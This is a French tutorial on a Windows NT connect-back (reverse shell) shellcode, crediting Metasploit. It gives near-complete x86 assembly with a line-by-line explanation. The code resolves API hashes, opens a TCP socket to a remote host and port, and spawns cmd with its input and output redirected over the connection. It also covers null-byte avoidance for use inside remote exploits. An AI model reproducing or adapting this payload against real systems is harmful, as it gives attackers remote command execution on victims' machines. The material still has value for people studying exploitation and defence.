

# CONNECTBACK SHELLCODE

<http://www.athias.fr>

Cibles: NT/2K/XP  
Taille: 325 376 octets

En général, un shellcode connectback, ou un reverse shell comme il est aussi appelé, est le processus par lequel une connexion TCP est établie vers un hôte distant et une entrée/sortie d'interpréteur de commandes est dirigée vers et depuis la connexion TCP allouée.

Au lieu d'utiliser les appels systèmes, l'on peut utiliser l'API de socket standard fournie par winsock. Malheureusement ces deux méthodes diffèrent vis à vis de la compatibilité entre les systèmes Windows 9x et NT.

La différence majeure est sur les versions basées sur NT, le descripteur de fichier du socket retourné par winsock peut être utilisé comme un handle pour les fonctionnalités de redirection vis à vis des entrées/sorties vers un processus.

Ce n'est pas le cas sous les Windows 9x du fait de l'architecture différente.

Les versions basées sur NT seront majoritairement traitées dans ce document, mais une partie d'explication du processus pour Windows 9x sera présentée.

Cette explication commence par assumer que l'adresse de base de kernel32.dll a été trouvée. A partir de là, l'on peut résoudre les symboles suivants dans kernel32.dll :

Nom de la Fonction	Hash
LoadLibraryA	0xec0e4e8e
CreateProcessA	0x16b3fe72
ExitProcess	0x73e2d87e

Les symboles se doivent d'être résolus et stockés en mémoire pour une utilisation ultérieure. La prochaine étape est d'utiliser le symbole LoadLibraryA résolu pour charger la librairie winsock : ws2\_32.dll. En vérité, ws2\_32.dll est presque toujours déjà chargée en mémoire. Le problème est que l'on ne sait pas où elle a été chargée en mémoire. On peut alors utiliser LoadLibraryA pour trouver où elle a été chargée. Si elle doit être chargée, LoadLibraryA va simplement la charger et retourner l'adresse où elle est mappée. Une fois que ws2\_32.dll est mappée dans l'espace du processus, l'on peut utiliser le même mécanisme utilisé pour résoudre les symboles dans kernel32.dll pour résoudre ceux de ws2\_32.dll.

Les symboles suivants doivent être résolus et stockés en mémoire pour une utilisation ultérieure :

Nom de la Fonction	Hash
WSASocketA	0xadf509d9
connect	0x60aaf9ec

Avec tous les symboles requis chargés, l'on peut entrer dans le vif du sujet.  
Les étapes suivantes décrivent le processus :

1. Créer une socket : créer une socket AF\_INET de type SOCK\_STREAM pour l'utiliser pour se connecter à un port sur une machine distante. Cela se fait en utilisant la fonction WSASocketA dont voici le prototype :

```
SOCKET WSASocket(  
    int af,  
    int type,  
    int protocol,  
    LPWSAPROTOCOL_INFO lpProtocolInfo,  
    GROUP g,  
    DWORD dwFlags);
```

Tous les arguments autres que *af* et *type* doivent être mis à zéro car ils ne sont pas nécessaires.

En cas d'allocation réussie, le nouveau descripteur de fichier sera retourné dans EAX. Ce descripteur de fichier devra être maintenu d'une certaine manière pour l'utiliser plus tard.

2. Se connecter à la machine distante : établir la connexion à la machine distante pour recevoir la sortie de l'interpréteur de commandes. Cela se fait en utilisant la fonction connect dont voici le prototype :

```
int connect(  
    SOCKET s,  
    const struct sockaddr* name,  
    int namelen);
```

Si la connexion est établie avec succès, EAX sera mis à zéro. Il est optionnel de tester ou pas ce fait car les tests d'échecs impactent la taille du shellcode.

3. Exécuter l'interpréteur de commandes. Il faut initialiser une structure requise pour la passer à la fonction CreateProcess. Cette structure est ce qui active l'entrée et sortie à être redirigées correctement. Voici la déclaration de la structure STARTUPINFO suivie du prototype de CreateProcess :

```
typedef struct _STARTUPINFO {  
    DWORD cb;  
    ...  
    DWORD dwFlags;  
    ...  
    HANDLE hStdInput;  
    HANDLE hStdOutput;  
    HANDLE hStdError;  
  
} STARTUPINFO;
```

```

BOOL CreateProcess(
    LPCTSTR lpApplicationName,
    LPTSTR lpCommandLine,
    LPSECURITY_ATTRIBUTES lpProcessAttributes,
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    BOOL bInheritHandles,
    DWORD dwCreationFlags,
    LPVOID lpEnvironment,
    LPCTSTR lpCurrentDirectory,
    LPSTARTUPINFO lpStartupInfo,
    LPPROCESS_INFORMATION lpProcessInformation);

```

La structure STARTUPINFO nécessite que l'attribut *cb* soit paramétré avec la taille de la structure qui pour toutes les versions de Windows est 0x44.

Les trois handles sont utilisés pour spécifier ce qui sera utilisé pour l'entrée standard logique, la sortie standard et les descripteurs d'erreur standards. Dans notre cas, ils doivent tous être définis avec le descripteur de fichier retourné par WSASocketA.

C'est ce qui va provoquer la redirection.

L'attribut *dwFlags* doit avoir le flag STARTF\_USESTDHANDLES défini pour indiquer que CreateProcess doit faire attention aux handles. ***(c'est la partie qui est incompatible avec Windows 9x. Le descripteur retourné par WSASocketA n'est pas valide pour l'utiliser comme handle dans le contexte de STARTUPINFO).***

Une fois la structure STARTUPINFO initialisée, tout ce qu'il reste à faire, c'est un appel à CreateProcess avec l'argument lpCommandLine défini à 'cmd', le booléen bInheritHandles défini à TRUE pour que le fils hérite du descripteur de fichier du socket, et enfin avec les arguments lpStartupInfo et lpProcessInformation pointant sur les bons endroits.

Les autres arguments doivent être NULL.

4. Quitter le processus parent. Il se doit d'appeler ExitProcess avec l'argument de sortie défini à une valeur arbitraire.

Les 4 étapes précédentes sont tout ce qu'il faut pour implémenter une version de Connectback sur des systèmes basés sur NT. Quelques fonctionnalités que l'on pourrait ajouter est la possibilité d'avoir le processus parent qui attend que le fils quitte avant de se terminer lui-même en utilisant WaitForSingleObject. L'on pourrait aussi souhaité que le processus parent ferme le socket après que le fils se termine. Ces deux étapes ne sont pas absolument nécessaires et gonflent la taille du shellcode.

Un facteur important qui n'a pas été abordé est le fait que WSASStartup n'a pas été appelée. ***(WSASStartup est utilisée pour initialiser le sous-système winsock sur Windows. Elle doit être appelée avant que toute autre fonction winsock puisse être utilisée)*** La raison est que l'on considère que du fait qu'un exploit à distance est utilisé, WSASStartup a déjà été appelée.

## Code Assembleur :

```
connectback:
    jmp startup_bnc

// ...find_kernel32 et find_function...

startup_bnc:
    jmp startup

resolve_symbols_for_dll:
    lodsd
    push eax
    push edx
    call find_function
    mov [edi], eax
    add esp, 0x08
    add edi, 0x04
    cmp esi, ecx
    jne resolve_symbols_for_dll

resolve_symbols_for_dll_finished:
    ret

kernel32_symbol_hashes:
    EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec)
    EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16)
    EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73)

ws2_32_symbol_hashes:
    EMIT_4_LITTLE_ENDIAN(0xd9,0x09,0xf5,0xad)
    EMIT_4_LITTLE_ENDIAN(0xec,0xf9,0xaa,0x60)

startup:
    sub esp, 0x60
    mov ebp, esp
    jmp get_absolute_address_forward

get_absolute_address_middle:
    jmp get_absolute_address_end

get_absolute_address_forward:
    call get_absolute_address_middle

get_absolute_address_end:
    pop esi
    call find_kernel32
    mov edx, eax
```

```
resolve_kernel32_symbols:
    sub esi, 0x22
    lea edi, [ebp + 0x04]
    mov ecx, esi
    add ecx, 0x0c
    call resolve_symbols_for_dll
```

```
resolve_winsock_symbols:
    add ecx, 0x08
    xor eax, eax
    mov ax, 0x3233
    push eax
    push 0x5f327377
    mov ebx, esp
    push ecx push edx
    push ebx
    call [ebp + 0x04]
    pop edx
    pop ecx
    mov edx, eax
    call resolve_symbols_for_dll
```

```
initialize_cmd:
    mov eax, 0x646d6301
    sar eax, 0x08
    push eax
    mov [ebp + 0x30], esp
```

```
create_socket:
    xor eax, eax
    push eax
    push eax
    push eax
    push eax
    inc eax
    push eax
    inc eax
    push eax
    call [ebp + 0x10]
    mov esi, eax
```

```
do_connect:
    push 0x0101017f
    mov eax, 0x5c110102
    dec ah
    push eax
    mov ebx, esp
    xor eax, eax
    mov al, 0x10
    push eax
    push ebx
    push esi
    call [ebp + 0x14]
```

initialize\_process:

```
xor    ecx, ecx
mov    cl, 0x54
sub    esp, ecx
mov    edi, esp
push  edi
```

zero\_structs:

```
xor  eax, eax
rep  stosb
pop  edi
```

initialize\_structs:

```
mov  byte ptr [edi], 0x44
inc  byte ptr [edi + 0x2d]
push edi
mov  eax, esi
lea  edi, [edi + 0x38]
stosd
stosd
stosd
pop  edi
```

execute\_process:

```
xor  eax, eax
lea  esi, [edi + 0x44]
push esi
push edi
push eax
push eax
push eax
inc  eax
push eax
dec  eax
push eax
push eax
push [ebp + 0x30]
push eax
call [ebp + 0x08]
```

exit\_process:

```
call [ebp + 0x0c]
```

## Description du Code:

### **jmp startup\_bnc**

Saute au début du bounce après que la kernel32 soit trouvée et trouve les définitions de find\_function

### **jmp startup**

Saute au point d'entrée actuel

### **lodsd**

Charge le hashé de fonction courant stocké dans ESI dans EAX

### **push eax**

Pousse le hashé sur la pile comme deuxième argument de find\_function

### **push edx**

Pousse l'adresse de base de la DLL à charger comme le premier argument de find\_function

### **call find\_function**

Appel find\_function pour résoudre le symbole

### **mov [edi], eax**

Sauvegarde la VMA de la fonction dans la mémoire en EDI

### **add esp, 0x08**

Restaure 8 octets sur la pile pour les 2 arguments

### **add edi, 0x04**

Ajoute 4 à EDI pour aller à la prochaine position dans le tableau qui va recevoir la sortie de la VMA

### **cmp esi, ecx**

Vérifie si ESI correspond avec la limite pour stopper la recherche du symbole

### **jne resolve\_symbols\_for\_dll**

Si les deux adresses sont différentes, on continue de boucler. Sinon on passe au ret

### **ret**

Retour à l'appelant

### **EMIT 4 LITTLE ENDIAN(0x8e,0x4e,0x0e,0xec)**

Stocke le hashé de 4 octets pour LoadLibraryA depuis kernel32.dll inline dans le shellcode

### **EMIT 4 LITTLE ENDIAN(0x72,0xfe,0xb3,0x16)**

Stocke le hashé de 4 octets pour CreateProcessA depuis kernel32.dll inline dans le shellcode

### **EMIT 4 LITTLE ENDIAN(0x7e,0xd8,0xe2,0x73)**

Stocke le hashé de 4 octets pour ExitProcess depuis kernel32.dll inline dans le shellcode

**EMIT 4 LITTLE ENDIAN(0xd9,0x09,0xf5,0xad)**

Stocke le hashé de 4 octets pour WSASocket depuis ws2 32.dll inline dans le shellcode

**EMIT 4 LITTLE ENDIAN(0xec,0xf9,0xaa,0x60)**

Stocke le hashé de 4 octets pour connect depuis ws2 32.dll inline dans le shellcode

**sub esp, 0x60**

Alloue 0x60 octets de l'espace de la pile pour l'utilisation avec le pointeur de la fonction de stockage de la VMA et les handles

**mov ebp, esp**

Utilise EBP comme le pointeur de frame à travers le code

**jmp get\_absolute\_address\_forward**

Saute plus loin après le milieu

**jmp get\_absolute\_address\_end**

Saute à la fin maintenant que l'adresse de retour a été obtenue

**call get\_absolute\_address\_middle**

Appel précédents pour pousser la VMA qui pointe sur 'pop esi' sur la pile

**pop esi**

Pop l'adresse de retour de la pile dans ESI

**call find\_kernel32**

Appel find\_kernel32 pour résoudre l'adresse de base de kernel32.dll

**mov edx, eax**

Sauvegarde l'adresse de base de kernel32.dll dans EDX

**sub esi, 0x22**

Soustrait 0x22 à ESI pour pointer sur la première entrée dans la liste de table de hash. Ce paramètre sera utilisé comme l'adresse source pour résoudre les symboles pour la DLL

**lea edi, [ebp + 0x04]**

Définit EDI au pointeur de frame plus 0x04. Cette adresse sera utilisée pour stocker la VMA des hashés correspondants

**mov ecx, esi**

Définit ECX à ESI

**add ecx, 0x0c**

Ajoute 0x0c à ECX pour indiquer que la limite d'arrêt pour cette DLL est 12 octets après ESI. Cela est déterminé par le fait que trios symbols sont en train d'être chargés depuis kernel32.dll

**call resolve\_symbols\_for\_dll**

Appel `resolve_symbols_for_dll` et résout tous les symboles `kernel32.dll` requis

**add ecx, 0x08**

Ajoute 0x08 à ECX pour indiquer que la limite d'arrêt pour `ws2 32.dll` est 8 après la valeur en cours dans ESI. Cela est déterminé par le fait que deux symboles sont en train d'être chargés depuis `ws2 32.dll`.

**xor eax, eax**

Met EAX à zéro, ainsi les octets de poids forts sont à zéro

**mov ax, 0x3233**

Définit les octets de poids faibles de EAX à '32'.

**push eax**

Pousse la chaîne '32' terminée par des zéros sur la pile

**push 0x5f327377**

Pousse la chaîne 'ws2 ' sur la pile pour compléter la chaîne 'ws2 32'.

**mov ebx, esp**

Sauvegarde le pointeur sur 'ws2 32' dans EBX.

**push ecx**

Préserve ECX car il peut être modifié à travers l'appel à la fonction `LoadLibraryA`.

**push edx**

Préserve EDX car il peut être modifié à travers l'appel à la fonction `LoadLibraryA`.

**push ebx**

Pousse le pointeur sur la chaîne 'ws2 32' comme premier argument de `LoadLibraryA`.

**call [ebp + 0x04]**

Appel `LoadLibraryA` et mappe `ws2 32.dll` dans l'espace processus

**pop edx**

Restaure l'EDX préservé

**pop ecx**

Restaure l'ECX préservé

**mov edx, eax**

Sauvegarde l'adresse de base de `ws2 32.dll` dans EDX

**call resolve\_symbols\_for\_dll**

Appel `resolve_symbols_for_dll` et résout tous les symboles requis de `ws2 32.dll`

**mov eax, 0x646d6301**

Définit EAX à 0x01'cmd'.

**sar eax, 0x08**

Shift EAX dans les 8 bits de droite pour créer un NULL après 'cmd'.

**push eax**

Pousse 'cmd' sur la pile

**mov [ebp + 0x30], esp**

Sauvegarde le pointeur vers 'cmd' pour une utilisation ultérieure

**xor eax, eax**

Met EAX à zero pour l'utiliser pour passer les arguments NULL

**push eax**

Pousse l'argument dwFlags argument to WSAsocket comme 0.

**push eax**

Pousse l'argument g à WSAsocket comme 0.

**push eax**

Pousse l'argument lpProtocolInfo à WSAsocket comme NULL.

**push eax**

Pousse l'argument protocol à WSAsocket comme 0.

**inc eax**

Incrémente EAX de 1.

**push eax**

Pousse l'argument type à WSAsocket comme SOCK\_STREAM.

**inc eax**

Incrémente EAX de 2.

**push eax**

Pousse l'argument af à WSAsocket comme AF\_INET.

**call [ebp + 0x10]**

Appel WSAsocket pour allouer un socket pour utilisation ultérieure

**mov esi, eax**

Sauvegarde le descripteur de fichier du socket dans ESI

**push 0x0101017f**

Pousse l'adresse de la machine distante dans l'ordre d'un octet réseau. Dans notre cas 127.1.1.1.

**mov eax, 0x5c110102**

Définit les octets hauts de EAX avec le port auquel se connecter dans l'ordre d'un octet réseau. Les octets bas doivent être définis avec la famille, dans notre cas AF\_INET (Le 0x01 dans le deuxième octet d'EAX doit actuellement être 0x00. Il est défini à 0x01 pour éviter un octet nul).

**dec ah**

Décrémente le second octet d'EAX pour le mettre à zéro et avoir la famille correctement définie à AF\_INET.

**push eax**

Pousse les attributs `sin_port` `sin` et `sin_family`

**mov ebx, esp**

Définit EBX comme pointeur sur la structure `sockaddr_in` qui a été initialisée sur la pile

**xor eax, eax**

Met à zéro EAX.

**mov al, 0x10**

Définit l'octet faible d'EAX à 16 pour représenter la taille de la structure `sockaddr_in`.

**push eax**

Pousse l'argument `namelen` argument qui a été défini à 16

**push ebx**

Pousse l'argument `name` qui a été défini par la structure `sockaddr_in` initialisée sur la pile

**push esi**

Pousse l'argument `s` comme le descripteur de fichier qui a été retourné précédemment depuis `WSASocket`.

**call [ebp + 0x14]**

Appel `connect` pour établir une connexion TCP à la machine distante sur le port spécifié

**xor ecx, ecx**

Met à zéro ECX.

**mov cl, 0x54**

Définit l'octet faible d'ECX à 0x54 qui sera utilisé pour représenter la taille des structures `STARTUPINFO` et `PROCESS_INFORMATION` sur la pile

**sub esp, ecx**

Alloue l'espace pile pour les deux structures.

**mov edi, esp**

Configure EDI pour pointer sur la structure `STARTUPINFO`.

**push edi**

Préserve EDI sur la pile car il peut être modifié par les instructions suivantes

**xor eax, eax**

Met EAX à zéro pour l'utiliser avec `stosb` pour mettre à zéro les deux structures.

**rep stosb**

Répète le stockage de zéro dans le buffer commençant en EDI jusqu'à ce qu'ECX vaille zéro

**pop edi**

Restaure EDI à sa valeur initiale

**mov byte ptr [edi], 0x44**

Configure l'attribut cb de STARTUPINFO à 0x44 (la taille de la structure).

**inc byte ptr [edi + 0x2d]**

Configure le flag STARTF\_USESTDHANDLES pour indiquer que les attributs hStdInput, hStdOutput, et hStdError doivent être utilisés.

**push edi**

Préserve à nouveau EDI comme il va être modifié par le stosd.

**mov eax, esi**

Défini EAX en descripteur de fichier qui a été retourné par WSASocket.

**lea edi, [edi + 0x38]**

Charge l'adresse effective de l'attribut hStdInput dans la structure STARTUPINFO.

**stosd**

Défini l'attribut hStdInput en descripteur de fichier qui a été retourné par WSASocket.

**stosd**

Défini l'attribut hStdOutput en descripteur de fichier retourné par WSASocket.

**stosd**

Défini l'attribut hStdError en descripteur de fichier qui a été retourné par WSASocket.

**pop edi**

Restaure EDI à sa valeur initiale

**xor eax, eax**

Met EAX à zéro pour l'utiliser à passer les arguments à zéro

**lea esi, [edi + 0x44]**

Charge l'adresse effective de la structure PROCESS\_INFORMATION dans ESI

**push esi**

Pousse le pointeur sur la structure lpProcessInformation.

**push edi**

Pousse le pointeur sur la structure lpStartupInfo.

**push eax**

Pousse l'argument lpStartupDirectory à NULL.

**push eax**

Pousse l'argument lpEnvironment à NULL.

**push eax**

Pousse l'argument dwCreationFlags à 0.

**inc eax**

Incrémente EAX de 1.

**push eax**

Pousse l'argument bInheritHandles à TRUE du fait que le client nécessite d'hériter du descripteur de fichier

**dec eax**

Décrémente EAX pour zéro

**push eax**

Pousse l'argument lpThreadAttributes à NULL.

**push eax**

Pousse l'argument lpProcessAttributes à NULL.

**push [ebp + 0x30]**

Pousse l'argument lpCommandLine comme pointeur sur 'cmd'.

**push eax**

Pousse l'argument lpApplicationName à NULL.

**call [ebp + 0x08]**

Appel CreateProcessA pour créer le processus fils qui a son entrée et sortie redirigées depuis et vers la machine distante via la connexion TCP.

**call [ebp + 0x0c]**

Appel ExitProcess comme le parent n'a plus besoin de s'exécuter

**Remerciements :**

A toute l'équipe METASPLOIT ( <http://www.metasploit.com> )

A ma chérie ;-X

A vous et à ceux qui me soutiennent